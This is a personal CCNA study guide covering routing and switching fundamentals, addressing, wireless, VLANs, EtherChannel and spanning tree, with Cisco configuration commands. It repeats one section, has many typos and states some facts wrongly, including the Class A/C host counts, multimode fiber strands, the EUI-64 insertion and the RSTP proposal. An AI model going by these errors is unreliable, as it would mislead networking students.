CCNA v1.1 Study Guide

Alexander

June 27, 2024

1 Network Fundamentals

- **Explain the role and function of network components**

  Routers forward packets between computer networks (LANs and WANs), and use IP addresses to determine where a packet should go. Routers remove data-link headers and trailers, analyze packet information, and then re-encapsulate the data with a new data-link frame before transmission. Routers compare destination IPs, found inside packet headers, to routes in routing tables before forwarding packets. Routing tables get their routes from static routes, dynamic routing protocols, and source headers fields found in packets recieved on local interfaces. Routers can perform many different actions: implementing QoS tools, permiting/denying packets with ACLs, performing firewall functions, advertising BSSs, and more.

  Switches forward PDUs at layer 2 within the same network segment. Switches place new source MAC addresses, found in the header fields, into a table. This MAC-address table helps the switch make forwarding decisions. Switch ports divide collision domains; unlike router ports, which divide broadcast domains. Switches can divide broadcast domains by using VLANs, but cannot route between subnets. Switches can perform a variety of security tasks as well like: port security, DAI, DHCP snooping. L3 switches can perform both switching and routing functions.

Firewalls sit in the path that packets take through the network. They permit/deny traffic much like an ACL would do on a router. Firewalls are capable of watching application-layer flows with AVC, performing webpage verification on URIs, and retaining state. IPSs can compare packet flows to exploit signatures, log events, and can discard/redirct packets.

An AP serves as a single point of contact for every device that wants to use a BSS. An AP uses a unique BSSID that is based on the AP's own radio MAC address. APs are often connected to a DS that uplinks to a wired network.

The purpose of a controller, within a network, is to centralize control plane functions. It is primarily focused on controlling the flow of data within the network, making rouing decisions, enforcing policies for security or QoS, and dynamically configuring network devices. Controllers typically interact with a Network Management System (NMS) via a NorthBound API or NorthBound Interface (NBI), and can interact with the network devices via a SouthBound API (SBI).

A WLC manages lightweight APs. They are responsible for optimizing RF utilization, authenticating clients (802.1X), encrypting data (WPA2/3), monitoring, reporting and more.

WLC ports are physical networking interfaces that allow the controller to connect to other network devices. There are a varity of ports types:

Service ports are used for out-of-band mangement, system recovery, and initial boot functions; always connects to a switch port in access mode. These ports will normally be in a management VLAN.

Console ports are used for out-of-band management, system recovery, and initial boot functions; asynchronous connection to a terminal emulator (9600 baud, 8 data bits, 1 stop bit)

Redundancy ports are used to connect to a peer controller for high availability (HA) operation.

Distribution system ports carry most of the data coming to and going from the controller. These normally connect using 802.1Q trunk mode. These ports should be configured as an unconditional EtherChannel, since Cisco WLCs do not support LACP/PAgP. Many different types of traffic flow via this channel: CAPWAP tunnel traffic, client data pass from wireless LANs to wired VLANs, plus any mangement traffic (HTTPS, SSH, SNMP, TFTP, etc.). Because the DS ports must carry data that is associated with

many different VLANs, VLAN tags and numbers become crucial. The DS ports can operate independently, each one transporting multiple VLANs to a unique group of internal controller interfaces.

WLC ports are physical networking interfaces that allow the controller to connect to other network devices. There are a varity of ports types:
Service ports are used for out-of-band mangement, system recovery, and initial boot functions; always connects to a switch port in access mode. These ports will normally be in a management VLAN.
Console ports are used for out-of-band management, system recovery, and initial boot functions; asynchronous connection to a terminal emulator (9600 baud, 8 data bits, 1 stop bit)
Redundancy ports are used to connect to a peer controller for high availability (HA) operation. Distribution system ports carry most of the data coming to and going from the controller. These normally connect using 802.1Q trunk mode. These ports should be configured as an unconditional EtherChannel, since Cisco WLCs do not support LACP/PAgP. If you want you could set the DS ports up to operate independently, each one transporting multiple VLANs to a unique group of internal controller interfaces. For resiliency, you can configure DS ports in redundant pairs. One port is primarily used; if it fails, a backup port is used instead. An Etherchannel is probably ideal in most cases. It is important to note that many different types of traffic flow via this channel: CAPWAP tunnel traffic, client data passing from the wireless LANs to wired VLANs, plus any mangement traffic (HTTPS, SSH, SNMP, TFTP, etc.). Because the DS ports must carry data that is associated with many different VLANs, VLAN tags and numbers become crucial.

WLC interfaces are logical network connections configured within the controller's OS. Cisco controllers support the following interface types:
Management interfaces are used for normal management traffic, such as RADIUS user authentication, WLC-to-WLC communication, web-based and SSH sessions, SNMP, NTP, syslog, and so on. The management interface is also used to terminate CAPWAP tunnels betweeen the controller and its APs.

Redundancy management interfaces hold the management IP address of a redundant WLC that is part of a HA pair of controllers. The active WLC uses the management interface address, while the standby WLC uses the redundancy management address.

Virtual interfaces hold the IP address facing wireless clients when the controller is relaying client DHCP requests, performing client web authentication, and supporting client mobility.

Service port interface is bound to the service port and used for out-of-band management.

Dynamic interfaces connect a VLAN to a WLAN.

Endpoints are devices or nodes within a network that communicate directly with users, applications, or other devices. They serve various purposes depending on their type and functions. An endpoint could be a server, laptop, IoT devices, cameras, VoIP phones. Endpoints facilitate user interaction, consume and create data, enable communication, process data, or can aid with security of an organization.

Servers are fundamental to network operations, providing centralized resources and services to clients or other devices within a network. They perform various crucual functions: data storage/retrieval, application hosting, resource sharing, security and authentication, backup and recovery.

Power over Ethernet (PoE) technology enables the transmission of electrical power alongside data over standard Ethernet cables. It plays a crucial role in network deployments where you have an endpoint that needs power but no infrastructure to support it. PoE standards can vary, but 802.3bt can support up to 100 watts!

- **Describe characteristics of network topology architectures**

  In a two-tier design (collapsed core) you have an access and distribution layer. Access Switches connect directly to end users, providing user devices access to the LAN. Access switches normally send traffic to and from the end-user devices to which they are connected and sit at the edge of the LAN. Distribution switches provide a path through which the access switches can forward traffic to each other. By design, each of teh access switches connects to at least one distribution switch, typically to two distribution swithces for redundancy. The distribution swithces provide the service of forwarding traffic to other parts of the LAN. Note that most designs use at least two uplinks to two different distribution switches for redundancy.

  With a three-tier design you have a core layer which aggregates distribution switches in very large campus LANs, providing very high forwarding rates for the larger volume of traffic dur to the size of the network. The core layer is connected to the distribution switches often with a partial mesh design.

  A star topology is a design in which one central device connects to several other, so that if you drew the links out in all directions, the design would look like a star.

  A full mesh topology is where each node in the network connects to every other node. $(N(N-1))/2$

A partial mesh is a design that connects a link between some pairs of nodes, but not all.

A hybrid design combines the previous designs into a more complex topology.

Spine-leaf or a Clos network is a network in which every leaf switch must connect to every spine and vice versa. Spine switches cnnaot connect to each other and the same applies for leaf switches. Endpoints connect only to leaf switches. Endpoints can be connections to devices outside the data center, a physical server, a Cisco Unified Computing System (UCS), or the Application Policy Infrastructure Controller (APIC).

WANs span a large geographical area, typically connecting multiple LANs or other types of networks together. These connect offices in different cities or countries. WAN may be Point-to-Point, Hub and Spoke, Mesh, ect.

SOHO is just a slaced down offices network. There are fewer devices but still supports basic network functionality. A SOHO office may be using a star, bus, or some partial mesh design.

On-premise, also known as on-premises, refers to the practice of hosting and managing computing resources within an organization's own physical location, such as data centers or server rooms located on the organization's premises.Typically the org. has full control over both the hardware and software infrastructure. The organization is responsible for everything: maintenance, security, upgrades, and all aspects of IT management. The cost comes from purchasing hardware and ongoing operational costs for maintenance, power, cooling, and space. On=premise may use a star topology or a ring, though a ring is rare in modern networks.

Cloud is increasingly popular for its agility, scalability, and ease of access, suitable for businesses of all sized seeking to reduce infrastructure cost and enhance operational efficiency. Clouds often abstract from physical topologies (overlay) but can inslude any of the above designs depending on the cloud provider's infrastructure and serve offerings. They may use some hybrid design to allow on-premises to integrate both environments seamlessly.

- **Compare physical interface and cabling types**

  Single-mode fiber is ideal for long-distance transmissions in telecommunications, data centers, and backbone networks where high bandwidth and low attenuation are required. This type of cable uses laser diodes to emit light into a core that is typically 9 microns. Using a single stand of glass fiber can carry data over distances up to tens of kilometers.

  Multi-mode fiber is used for shorter distance transmissions when compared to single-mode. It is used within buildings, campuses, and data centers

where high bandwidth is needed. It uses LED or laser diodes to emit light into a larger core (50 or 62.5 microns). It suuports multiple modes of light propagation. Since it uses multiple strands of glass fiber to carry data, it can reliably trasmit data hundreds of meters.

Copper uses electrical signals to transmit data via copper wires (typically twisted pairs). It is used extensively for Ethernet connections in LANs, connecting computers, switches, routers, and other networking devices within a builing or campus. In Ethernet shared media and point-to-piont devices share the same communication medium, and each device receives all transmissions. Devices on the network must listen for their own MAC address to determine if transmissions is intended for them. Histroically coax was used (10BASEE5 and 10BASEE2) or twisted pair (10BASE-T). Early Ethernet networks used shared media, but it is less common today due to limitations in scalability, collision domains, and performance degradation as network size increases.

Some relavant Ethernet standards: 802.3, 802.3u, 802.3z, 802.3ab, 802.3an
copper 100m Ethernet 10 Mbps 10BASE-T
copper 100m Fast Ethernet 100 Mbps 100BASE-T
fiber 5000m Gigabit Ethernet 1000 Mbps 1000BASE-LX
copper 100m Gigabit Ethernet 1000 Mbps 1000BASE-T
copper 100m 10 Gig Ethernet 10,000 Mbps 10GBASE-T

- **Identify interface and cable issues (collisions, error, mismatch duplex, and/or speed)**

  Collisions occur in Ethernet networks when two devices attempt to transmit data at the same time on a shared medium, such as a network segment. In a collision, the data sent by both devices become corrupted and must be retransmitted, leading to decreased network efficiency and performance issues. High collision rates can indicate network congestion, improper network design, or issues with cabling.

  Errors refer to data transmission problems that result in corrupted or lost packets. Errors can occur due to a variety of reasons including electrical interference, faulty cabling or connectors, software bugs, or hardware malfunctions. Errors can lead to data loss, retransmissions, and performance degradation. They are usually indicated by error counters in network device interfaces.

  Duplex refers to the ability of a network interface to send and receive data simultaneously. Duplex settings can be either half-duplex or full-duplex. Duplex mismatch can cause degraded network performance, intermittent connectivity issues, and increased error rates.

  Speed mismatch occurs when two devices connected on the same network link operate at different transmission speeds. Speed mismatches can

lead to connectivity problems, data loss, and inefficient use of network resources. It's important for connected devices to operate at the same speed to ensure smooth communication.

- **Compare TCP to UDP**

  TCP is a connection-oriented protocol. Before data transmission begins, a connection must be established between the sender and receiver (both parties are both senders and receivers). TCP ensures reliable delivery of data by using sequence numbers, acknowledgments, and retransmission of lost packets. It provides reliable, ordered, and error-checked delivery of data packets. It guarantees that data will be delivered intact and in order. If packets are lost or corrupted during transmission, TCP retransmits them until the receiver successfully receives them. TCP has much more overhead work thus its header size is much larger.TCP is typically used for applications that require high reliability and accurate delivery of data, such as web browsing, email, file transfer (FTP), and database transactions. TCP is suited for applications where the integrity of data is paramount and retransmissions are acceptable. TCP implements flow control and congestion control mechanisms to manage the rate of data transmission and avoid network congestion. TCP dynamically adjusts the rate of data transmission based on network conditions to optimize performance and reliability.

  flow control mechanisms:
  Sliding window controler the amount of unacknowledge data that can be in transit between sender and receiver.
  Receiver's advertised window indicates the receiver's available buffer space, influencing the sender's transmission rate.
  TCP ACK mechanism confirms receipt of data segments, guiding the sender's behavior based on acknowledged and unacknowledged data.

  congestion avoidance mechanisms:
  Slow start initiates the sender's transmission with a conservative window size and exponentially increases it until congestion is deteced or a threshold is reached.
  After slow start, linearly increases the congestion window (cwnd) to balance efficient data transmission with congestion prevention.
  TCP vegas uses delay measurements to detect congestion, adjusting the sending rate to maintain low latency.
  Explicit Congestion Notification (ECN) allows routers to mark packets instead of dropping them to notify TCP about congestion, enabling proactive rate adjustment.

  congestion response mechanisms:
  Fast retransmit reissues a segment up receiving duplicate acknowledg-

ments to expedite recovery without waiting for timeout.
Fast recovery temporarily reduces the congestion window upon packet loss, facilitating faster recovery to maintain efficient data flow.
Selective Acknowledgment (SACK) allows the receiver to acknowledge out-of-order segments, improving TCP performance in environments with high packet loss. Dynamic Congestion Window Scaling adjusts the congestion window dynamically based on network conditions to optimize throughput and minimize congestion.

additional considerations:
Timeout and Retransmission: TCP implements timers to detect lost packets and retransmits them if necessary after a timeout period.
Window Scaling Options: Supports larger window sizes beyond the traditional 16-bit limit to enhance performance on high-bandwidth networks.
Early Retransmit: Provides an alternative to traditional retransmission for certain network conditions, improving responsiveness.
Congestion Control Algorithms: Besides Reno, TCP also includes NewReno, CUBIC, and other variants optimized for specific network characteristics and performance metrics.

UDP is a connectionless protocol. It does not establish a connection before sending data and does not guarantee delivery or order of packets. UDP is more lightweight and efficient for applications that can tolerate some packet loss, such as real-time multimedia streaming or online gaming. It does not provide reliability or guaranteed delivery. It does not retransmit lost packets or ensure that they are received in order. Applications using UDP must handle these aspects themselves if needed. Since there is less overhead work it is more efficient for transmitting data where reliability and ordering are less critical. It is best suited for applications where real-time and low-latency transmission is more important than guaranteed delivery, such as video streaming, voice over IP (VoIP), online gaming, DNS (Domain Name System), and IoT applications.

- **Configure and verify IPv4 addressing and subnetting**

  configure: Router(config-if)# ip address <ip_address> <subnet_mask>

  verify: Router# show ip interface brief

- **Describe private IPv4 addressing**

  Unstructuered Addressing (pre-1981)
  In the earliest days of networking and the ARPANET, there was no formalized IP addressing scheme. Networks were small and interconnected in a limited manner, often using ad-hoc addressing methods or relying on manual configuration.

Early Structured Addressing (Pre-Classful Addressing 1981 - early 1990s)
In the early stages of IPv4 development and the initial years of networking, there was a gradual move towards more structured approaches to IP addressing. This period predates the formal introduction of classful addressing (which started in 1981) and can be summarized by: ad-hoc addressing, manual configuration, early standardization efforts.

Classful Addressing (1981 - early 1990s)
Classful addressing was introduced around 1981 as a standardized approach to IPv4 addressing. It divided the IPv4 address space into five distinct classes, denoted by the high-order bits of the IP address. EAch class had a specific range of addresses and a default subnet mask, intended to accommodate networks of different sizes:// Class A (0.0.0.0 to 127.255.255.255) /8: used for large networks with a small number of high-capacity hosts
Class B (128.0.0.0 to 191.255.255.255) /16: used for medium-sized networks
Class C (192.0.0.0 to 223.255.255.255) /24: used for small networks with a large number of hosts
Class D (224.0.0.0 to 239.255.255.255): used for multicast groups
Class E (240.0.0.0 to 255.255.255.255): intended for research and development purposes and are not routable on the public internet

Transition to Classless Inter-Domain Routing (CIDR) (early 1990s)
Variable Length Subnet Masks (VLSM) allows for the use of subnet masks of varying lengths, not limited to the fixed boundaries. Network administrators can subnet a network into smaller subnets of different sizes according to their specific needs. This allows for more efficient use of IP address space by allocating addresses in smaller, more manageable blocks.
Address aggregation also known as supernetting or prefix aggregation reduces the size of routing tables by combining multiple contiguous IP address blocks into a single route advertisement. This help minimize the number of routing table entries in routers across the internet, improving routing efficiency and reducing the overhead associated with routing updates.

IPv4 private addressing refers to a range of IP addresses designed for use within private networks that are not routable on the public internet. These address are specified in RFC 1918 and are commonly used in home, office, and enterprise networks for internal communication.
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

The public IP address range refers to the IP addresses that are globally routable on the internet allowing devices to communicate directly with each other across different networks. Unlike private IP addresses, public

IP addresses are unique and assigned by IANA to organizations, ISPs, or other entities that require connectivity to the internet. These addresses are used for devices and services that need to be accessible from the public internet. The public IP address space in IPv4 is managed through various RIRs around the world. The IANA has allocated serveral ranges of IPv4 addresses to these RIRs, who then assign them to ISPs and organization based on regional needs.
1.0.0.0 to 126.255.255.255 (excluding 10.0.0.0/8)
128.0.0.0 to 191.255.255.255 (excluding 172.16.0.0/12)
192.0.0.0 to 223.255.255.255 (excluding 192.168.0.0/16)

- **Configure and verify IPv6 address types**

  configure: Router(config-if)# ipv6 address <IPv6_address>/<prefix_length>

  verify: Router# show ipv6 interface brief

- **Describe IPv6 address types**

  Unicast is used for one to one communication.
  Global unicast addresses are equivalent to public IPv4 addresses and are routable on the IPv6 internet. They consist of a 48-bit global routing prefix, a 16-bit subnet ID for hierarchical addressing, and a 64-bit interface ID to identify specific devices within a subnet. The global routing prefixc is assigned by internet registeries (ARIN, RIPDE NCC, APNIC) to ISPs and large organizations.
  FC00::/7 Unique local addresses (ULA) are equivalent to IPv4 private addresses and are used for local communication within a site or organization. They are not routable on the global IPv6 internet.
  FE80::/10 Link-local addresses are used for communication within the same network segment. They are not routable beyond the immediate link.

  Anycast is used for one-to-nearest communication, typically for load balancing. These are common in DNS servers or Content Delivery Networks. (CDN)

  FF00::/8 Multicast is used for one-to-many communication, distributing data efficiently to multiple recipients simultaneously.

  Modified EUI-64 is derived from a modified MAC address, used for automatic address configuration. Typically this is used for global unicast and link-local addresses. Insert FF in the middle of the address then invert the 7th bit and finally append the interface ID.

- **Verify IP parameters for Client OS**

ipconfig /all /release /renew

ifconfig -a

- **Describe wireless principles**

  Radio Frequency (RF) is a key aspect of wireless communication. RF signal travel through the air in all directions from their source, and their strength diminishes over distance due to factors like free space path loss, absorption, reflection. In addition there are several other factors refraction, electromagnetic interference, co-channel interference, and regulatory limits prevent RFs from interfering with other services. Modulation allows digital information to be encoded onto an RF signal. Common modulation techniques in wireless networks include Orthogonal Frequency Division Multiplexing (OFDM), which is used in 802.11a/g/n/ac/ax standards, and Direct Sequence Spread Spectrum (DSSS), used in 802.11b. Some fundamental properties of waves include: wavelength, amplitude, frequency, and phase. A band refers to a broad range of frequencies within the electromagnetic spectrum. The 2.4 GHz band typically spans from 2.400 GHz to 2.4835 GHz. The 5 GHz band covers frequencies from 5.150 GHz to 5.850 GHz. Bands are regulated by national an dinternational authorities to manage spectrum allocation and prevent interference between different wireless services operating in the same or adjacent bands. A channel in wireless communication refers to a specific portion of the RF spectrum that is designed for transmitting data. In the 2.4 GHz band each Wi-Fi channel is typically 20 MHz wide and centered on specific frequencies. In the 2.4 GHz band there are three non-overlapping channels that do not interfere with each other: channel 1 (2.412 GHz), channel 6 (2.437 GHz), and channel 11 (2.462 GHz). In the 5 GHz band, channels can vary in width and are also centered on specific frequencies.
  2 Mbps - 2.4 GHz - 802.11
  11 Mbps - 2.4 GHz - 802.11b
  54 Mbps - 2.4 GHz - 802.11g
  54 Mbps - 5 GHz - 802.11a
  600 Mbps - 2.4/5 GHz - 802.11n
  6.93 Gbps - 5 GHz - 802.11ac
  4x 802.11ac - 2.4/5 GHz - 802.11ax

  A Service Set Identifier (SSID) refers to the name of a wireless network. It serves as a unique identifier for a wireless network. APs periodically broadcast their SSID to announce their presence to nearby devices. When a device wants to connect to a wireless network, it searches for SSIDs that are being broadcast within a range. Network admins configure the SSID on the AP to differentiate their wireless network from others in the vicinity. They can choose a meaningful name that identifies the organization or location associated with the network. While SSID provides a convenient way for devices to discover and connet to networks, hiding (not

broadcasting) the SSID is often mistakenly considered a security measure. However, hiding the SSID does not provide real security as it can still be discovered through various methods. It is recommende to use unique and descriptive SSIDs to avoid confusion and faciliate easy identification for users. Additionally, changing default SSIDs and disabling SSID broadcast (if necessary) can be part of a broader security strategy.

- **Explain virtualization fundamentals (server virtualization, containers, and VRFs)**

  Virtualization, including server virtualization, containers, and VRFs (Virtual Routing and Forwarding), are fundamental technologies in modern IT infrastructure that enable efficient resource utilization, isolation, and management. Server virtualization involves partitioning a physical server into multiple virtual machines (VMs), each running its own operating system (OS) and applications. This efficiently uses server resources by consolidating multiple virtual servers onto a single physical server. VMs are isolated from each other, enhancing security and minimizing the impact of failures. VMs scale well and migration of VMs across physical servers is easier than moving hardware around. A hypervisor is software that enables the creation and management of VMs. It sits directly on the hardware and allocates physical resources to VMs. A VM is a software-based representation of physical computer that runs its own OS and appliations independently of other VMs on the same physical server. Each VM typically runs a gues OS, which can be different from the host OS (the OS on the physical server). Hypervisors manage resource allocation, ensuring each VM gets its fair share of CPU cycles, memory, and storage. Containers provide a lightweight form of virtualization where applications and their dependencies are packaged together as a container image. A container engine is software that manages containers, facilitates creation, deployment, and orchestration of containerized applications. Some examples of container engines: Docker, Kubernetes (for container orchestration), Podman, containered. A container images is an executable package that includes everything needed to run an application: code, runtime, libraries, and dependencies. Containerization, unlike VMs, share the host OS kernel, making them lightweight and fast to start and stop. Containers are isolated from each other using namespaces and control groups (cgroups), ensuring each container has its own filesystem, network, and process space. They are easy to scale horizontally by deploying multiple instances of the same container. VRFs provide logical separation of routing tables within a single physical router or switch. Each VRF maintains its own routing instances, interfaces, and forwarding tables. Logical network segementation enables multiple virtual networks (VRFs) to coexist on the same physical infrastructre without interfering with each other. Each VRF has its own routing table, allowing independent routing decisions based on the VRF-specific configurations. VRFs can have dedicated interfaces or subinterfaces on a physical router, each associated with a specific VRF. This is commonly

used in MPLS (Multiprotocol Label Switching) networks to provide VPN (Virtual Private Network) services.

- **Describe switching concepts**

  When a switch receives a frame from a device (e.g., a computer or another switch), it examines the source MAC address in the Ethernet frame header. The switch records the source MAC address and the port from which the frame arrived in its MAC address table (also known as CAM table or MAC forwarding table). This process is called MAC learning because the switch dynamically learns which MAC addresses are reachable via which ports. MAC addresses in the MAC address table are not kept indefinitely. Instead, they are periodically aged out to ensure the table remains accurate and efficient. Each entry in the MAC table has a timeout period (aging time) after which it is removed if no frames with that MAC address are received. This prevents stale entries from accumulating in the table, ensuring that the switch forwards frames based on current network conditions. When a switch receives an Ethernet frame, it examines the destination MAC address in the frame header. The switch consults its MAC address table to determine the outgoing port associated with the destination MAC address. If the destination MAC address is already in the table, the switch forwards the frame directly out of the appropriate port. If the destination MAC address is not in the table (unknown destination), the switch uses a process called frame flooding. It floods the frame out of all ports except the port on which the frame was received. This ensures that the frame reaches its destination, as the device with the matching MAC address may be connected to any of the other ports on the switch. Once the frame is flooded, the switch learns the source MAC address and the incoming port, updating its MAC address table for future frames from that source. The MAC address table is a crucial component of a switch's operation. It maps MAC addresses to the ports on the switch where devices with those addresses are connected. The MAC address table contains MAC addresses, port numbers, and aging timers.

2 Network Access

- **Configure and verify VLANs (normal range 0-1005) spanning multiple switches**

  1. create vlans, 2. port operation, 3. apply vlans
  Switch(config)# vlan <vlan-id>
  Switch(config-if)# switchport mode access
  Switch(config-if)# switchport access vlan <vlan-id>

  verify: defined/active VLANs, VTP, access ports(data and voice)
  Switch# show vlan [brief]
  Switch# show interface <interface>[brief]

Switch# show interfaces status
Switch# show run

- **Configure and verify interswitch connectivity**

  1. operational mode, 2. allowed vlans, 3. encapsulation standard, 4. native vlan
  Switch(config-if)# switchport mode trunk
  Switch(config-if)# switchport trunk allowed vlan <10,20,30>
  Switch(config-if)# switchport tunk encapsulation <dot1q/isl>
  Switch(config-if)# switchport trunk native vlan <vlan-id>

  verify: VLANs, native VLAN, VTP, DTP, operational mode
  Switch# show interface trunk
  Switch# show interfaces switchport
  Switch# show interface <interface>

- **Configure and verify L2 discovery protocols (CDP/LLDP)**

  CDP: multicast address 0100.0ccc.cccc
  Switch(config-if)# cdp enable
  Switch(config)# cdp run
  Switch(config)# cdp timer seconds
  Switch(config)# cdp holdtime seconds

  verify↓
  Switch# show cdp
  Switch# show cdp traffic
  Switch# show cdp <interface>
  Switch# show cdp neighbors
  Switch# show cdp neighbors detail
  Switch# show cdp entry name

  LLDP(802.1AB): multicast address 0180.c200.000e
  Switch(config-if)# lldp enable
  Switch(config)# lldp run
  Switch(config-if)# lldp transmit
  Switch(config-if)# lldp receive
  Switch(config)# lldp timer seconds
  Switch(config)# lldp holdtime seconds

- verify↓
  Switch# show lldp
  Switch# show lldp traffic
  Switch# show lldp interface
  Switch# show lldp neighbors
  Switch# show lldp neighbors detail
  Switch# show lldp entry name

- **Configure and verify (L2/L3) EtherChannel (LACP)**

  Manual Configuration↓
  Switch(config-if-range)# channel-group 1 mode on
  Switch(config)# port-channel load-balance method

  Dynamic Congifuration↓
  Switch(config-if-range)# channel-group 1 mode <desirable/auto>(PAgP)
  Switch(config-if-range)# channel-group 1 mode <active/passive>(LACP)

  verify: speed, duplex, operational mode, VLANs, STP
  Switch# show etherchannel summary
  Switch# show interfaces status

  L3 Etherchannel configuration is similar to L2 configuration:
  1. each physical port needs to be a routed port (no switchport command)
  2. also the actuall channel needs to be a routed port with an IP and mask

- **Interpret basic operations of Rapid PVST+ Spanning Tree Protocol**

  Spanning Tree Protocol (STP) is a network protocol used to prevent loops in Ethernet networks by dynamically disabling redundant links to ensure a loop-free topology. Switches elect a root bridge which serves as the reference point for all spanning tree calculations. The bridge with the lowest BID found in BPDUs becomes the root bridge. The original BID consists of a 2-byte priority field (default 32768) and a 6-byte system ID, with the system ID being based on a universal (burned-in) MAC address in each switch. Because the two-part BID starts with the priority value, essentially the switch with the lowest priority becomes the root. Each switch calculates the cost to reach the root bridge based on the path's bandwidth. Higher bandwidth links have lower costs. This ensures that the shortest path to the root bridge is selected for forwarding frames. Each non-root bridge selects one root port, which is the port with the lowest cost to reach the root bridge. If there are multiple paths with the same cost, the switch selects the path with the lowest neighbor bridge ID. STP cost is based on the operational speed of the link, not the maximum speed. On each LAN segment, one switch port is elected as the Designated Port (DP). The DP is responsible for forwarding traffic towards the root bridge on that segment. STP disables redundant links by blocking certain ports to prevent loops. Ports that are not root ports or designated ports are placed in a blocking state, ensuring a loop-free topology. STP continuously monitors the network topology and adapts to changes such as link failures or additions by recalculating paths and adjusting port states accordingly. When STP is stable the root creates and sends a Hello BPDU, with a root cost of 0, out all its working interfaces. The nonroot switches receive the Hello on their root ports. After changing the Hello to list their own BID as the sender's

BID and listing that switch's root cost, the switch forwards the Hello out all DPs. The previous stepes will repeat until something changes. STP convergance relies on 3 timers: Hello (default of 2 seconds and represents the time period between Hellos created by the root), MaxAge (default of 10x the Hello timer and represents how long any switch should wait, after ceasing to hear Hellos, before trying to change the STP topology), and the Forward delay (default 15 seconds and represents the delay that affects the process that occurs when an interface changes from blocking state to forwarding state. A port stays in an interim listening state, and then an interim learning state, for the number of seconds defined by the forward delay timer). Switches using STP can simply move immediately from forwarding to blocking state, but they must take extra time to transition from blocking state to forwarding state. The listening state like the blocking state, does not forward frames. The switch removes old stale MAC table entries for which no frames are received from each MAC address during this period. These stale MAC table entries could be the cause of the temporary loops. The learning state keeps interfaces from forwarding as well, but the switch begins to learn the MAC addresses of frames received on the interface. All together convergance will occur around 30-50 seconds which is pretty slow because of timers and process delays. RSTP adds a machanism by which a switch can replace its root/designated ports with alternate/backup ports respectively, without any waiting to reach a forwarding state (in some conditions). The need for a backup role can be confusing because the need for it only happens in designs that are a little unlikely today. The reason is that a design must use hubs, which then allow the possibility that one switch connects more than one port to the same collision domain. RSTP lowers waiting times for cases in which RSTP must wait for a timer. By eliminating the Listening and Learning states found in STP and replacing them with the rapid proposal and agreement process, RSTP reduces unnecessary delays and improves network efficiency. Proposal and Agreement mechanisms in RSTP significantly reduce the time it takes for the network to converge after a topology change. In STP, convergence could take up to 30-50 seconds, whereas RSTP can converge in a few seconds. A proposal is ehen a switch detects a topology change (such as a link failure or recovery), it immediately sends a Proposal message out of its designated ports. The Proposal message indicates that the switch intends to become the root for the affected part of the network. This process helps in quickly determining new paths and minimizing the convergence time. An agreement occurs upon receiving a Proposal message, neighboring switches agree to the new topology by sending an Agreement message back to the proposing switch. The Agreement message confirms that the neighboring switches will forward traffic based on the proposed topology change. This ensures that all switches in the network quickly adapt to the new topology without waiting for traditional STP timers to expire. In RSTP the disabled and blocking states from STP have been collapsed into a single discarding state. In STP you

have two interim states: listening, and learning. In RSTP you just have a learning state. In RSTP convergance switches tell each other that the topology has changed. Those messages also direct neighboring switches to flush the contents of their MAC tables in a way that removes all the potentially loop-causing entries, without a wait. RSTP also has this concept of link types: point-to-point (connects two switches), point-to-point edge (connects to an endpoint), and shared ports (connects to hubs). Despite these enhancements, RSTP remains compatible with STP, allowing gradual deployment and interoperability between older STP bridges and newer RSTP-enabled switches. PVST+ is Cisco's proprietary enhancement of STP that extends STP to support multiple VLANs. It provides a separate instance of STP for each VLAN. Rapid PVST+ is Cisco's enhancement of RSTP, providing rapid convergence and per-VLAN spanning tree support. It combines the rapid convergence benefirs of RSTP with the per-VLAN spanning tree capability of PVST+. MSTP, defined in IEEE 802.1s, is an enhancement that allows multiple VLANs to be mapped to the same spanning tree instance, reducing the number of spanning tree instances required in networks with many VLANs. It allows VLANs to be grouped into multipl spanning tree instances (MSTIs). It reduces CPU and memory usage by consolidating VLANs into fewer instances, enhancing scalability. Faster convergence times compared to STP dur to imroved design and few instances to compute.

PortFast is a Cisco-specific feature (also known as Fast Link or Edge Port) that allows a switch port to bypass the listening and learning states of STP/RSTP and immediately transition to the forwarding state when it is activated. PortFast is typically used on ports connected to end devices (like computers or printers) where no switches are expected to be connected downstream. It speeds up the connectivity process for end devices by eliminating the STP/RSTP delay states. STP supports preemption unlike OSPF. Preemption refers to the ability of a switch with a higher priority (lower BID) to take over the role of the root bridge if it becomes available. Root Guard is a feature that protects the network by enforcing a designated switch (root bridge) location. It prevents a switch from becoming the root bridge if it receives superior Bridge Protocol Data Units (BPDUs) from unexpected switches. Root Guard is applied on ports where the network administrator expects the root bridge to be located. If superior BPDUs are received on a port with Root Guard enabled, the port is placed into a root-inconsistent state (blocked) to maintain the integrity of the spanning tree topology. Loop Guard is a feature that helps prevent layer 2 forwarding loops that can occur when a port stops receiving BPDUs from its designated bridge. Loop Guard monitors the receipt of BPDUs on non-designated ports. If a port stops receiving BPDUs (indicating a possible loop or misconfiguration), Loop Guard puts the port into a loop-inconsistent state (blocked) until it starts receiving BPDUs again. BPDU Filter is a feature that allows a switch port to ignore received BPDUs

entirely, effectively disabling STP/RSTP on that port. BPDU Filter is often used on ports connected to end devices or in scenarios where spanning tree is not required. It prevents BPDUs from being transmitted or received on the port, which can potentially lead to loops if used improperly. BPDU Guard is a feature that protects the network from misconfigured or unauthorized switches by placing a port into an error-disabled state if it receives BPDUs. BPDU Guard is typically enabled on ports where switches are not expected to be connected (like access ports). If a BPDU is received on a port with BPDU Guard enabled, the port is shut down (error-disabled state), preventing potential loops or network disruptions caused by unauthorized devices.

- **Describe Cisco Wireless Architectures and AP modes**

  Cisco offers various wireless architectures and access point (AP) modes that cater to different deployment scenarios and network requirements. An autonomous architecture has APs operate independently without requiring a wireless LAN controller (WLC). The configuration and management are done directly on each AP. This architecture is suitable for smaller deployments where centralized management is not necessary. A centralized architecture has APs (Lightweight APs, LAPs) connect to a central wireless LAN controller (WLC). WLCs will manage AP configurations, firmware updates, and client connecctivity. This architecture provides centralized control and monitoring, ideal for medium to large-scale deployments. The coverged access architecture combines wired and wireless networks into a single infrastructure. It uses Cisco Catalyst 3850 or 3650 switches as WLCs (Wireless LAN Controllers), and supports both wired and wireless traffic forwarding through the same switch.

